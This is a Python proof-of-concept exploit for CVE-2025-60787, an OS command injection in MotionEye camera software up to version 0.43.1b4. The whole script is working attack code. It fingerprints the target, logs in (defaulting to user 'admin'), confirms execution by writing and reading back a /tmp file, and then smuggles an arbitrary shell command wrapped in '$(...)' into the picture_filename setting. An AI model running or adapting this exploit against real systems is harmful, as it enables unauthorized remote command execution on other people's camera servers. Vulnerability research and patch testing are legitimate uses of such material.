#!/usr/bin/env python3 """ Exploit Title: Motioneye <= 0.43.1b4 - OS Command Injection (RCE) CVE: CVE-2025-60787 Original Researcher: Prabhat Verma () Refactored by: [Rohitberiwala] Date: 2026-03-07 """ import requests import argparse import sys import time import re from urllib.parse import urlparse class MotioneyeRCE: def __init__(self, target, port, username, password, command): self.base_url = f"http://{target}:{port}" self.username = username self.password = password self.command = command self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0', 'Content-Type': 'application/x-www-form-urlencoded' }) def print_banner(self): print("-" * 65) print("CVE-2025-60787: Motioneye OS Command Injection (RCE)") print("Author: Prabhat Verma (@prabhatverma47)") print("-" * 65) def validate_target(self): """Validate target connectivity and Motioneye presence""" try: response = self.session.get(f"{self.base_url}/", timeout=5) if response.status_code != 200: print(f"[-] Target returned non-200 status: {response.status_code}") return False # Check for Motioneye-specific elements if "motioneye" not in response.text.lower(): print("[-] Target doesn't appear to be Motioneye") return False return True except Exception as e: print(f"[-] Target validation failed: {e}") return False def login(self): """Authenticates to the Motioneye Web UI.""" print("[*] Attempting authentication...") try: # First get login page to extract CSRF token if present resp = self.session.get(f"{self.base_url}/login") if resp.status_code != 200: print(f"[-] Failed to reach login page: {resp.status_code}") return False # Extract CSRF token if present csrf_token = None csrf_match = re.search(r'name="_csrf_token" value="([^"]+)"', resp.text) if csrf_match: csrf_token = csrf_match.group(1) # Prepare login data login_data = { "username": self.username, "password": self.password } # Add CSRF token if found if csrf_token: login_data["_csrf_token"] = csrf_token # Perform login resp = self.session.post( f"{self.base_url}/login", data=login_data, allow_redirects=False ) if resp.status_code == 302 and "redirect" in resp.text.lower(): print("[+] Authentication successful!") return True else: print(f"[-] Authentication failed. Status: {resp.status_code}") return False except Exception as e: print(f"[-] Authentication error: {e}") return False def verify_payload(self): """Verify payload execution by checking for file creation""" print("[*] Verifying payload execution...") # Create a unique test file name test_file = f"/tmp/test_{int(time.time())}.txt" verification_cmd = f"echo 'test' > {test_file}" # Create payload that writes test file payload = f"$({verification_cmd}) %Y-%m-%d/%H-%M-%S" config_data = {"picture_filename": payload} try: resp = self.session.post( f"{self.base_url}/config/1/set", data=config_data, timeout=10 ) if resp.status_code != 200: print(f"[-] Failed to inject payload. Status: {resp.status_code}") return False # Wait for Motioneye to process the command time.sleep(2) # Verify file exists verify_resp = self.session.get(f"{self.base_url}/static{test_file}") if verify_resp.status_code == 200 and "test" in verify_resp.text: print("[+] Payload execution verified!") return True else: print("[-] Payload verification failed") return False except Exception as e: print(f"[-] Verification error: {e}") return False def trigger_rce(self): """Injects shell command into the picture_filename configuration.""" print(f"[*] Injecting payload: {self.command}") # Create proper payload payload = f"$({self.command}) %Y-%m-%d/%H-%M-%S" config_data = { "picture_filename": payload } try: # Send POST request with proper headers resp = self.session.post( f"{self.base_url}/config/1/set", data=config_data, timeout=10 ) if resp.status_code == 200: print("[+] Payload injected successfully.") print("[*] Command will execute upon Motioneye restart or config reload.") return True else: print(f"[-] Failed to inject payload. Status: {resp.status_code}") return False except Exception as e: print(f"[-] Error during injection: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="Professional PoC for CVE-2025-60787") parser.add_argument("--target", required=True, help="Target IP address") parser.add_argument("--port", default="8765", help="Motioneye port (default: 8765)") parser.add_argument("--user", default="admin", help="Username") parser.add_argument("--pwd", default="", help="Password") parser.add_argument("--cmd", default="touch /tmp/rce_success", help="Command to execute") args = parser.parse_args() exploit = MotioneyeRCE(args.target, args.port, args.user, args.pwd, args.cmd) exploit.print_banner() if not exploit.validate_target(): print("[-] Target validation failed. Exiting.") sys.exit(1) if exploit.login(): if exploit.verify_payload(): exploit.trigger_rce() else: print("[-] Verification failed. Attempting to continue anyway...") exploit.trigger_rce() else: print("[-] Authentication failed. Exiting.")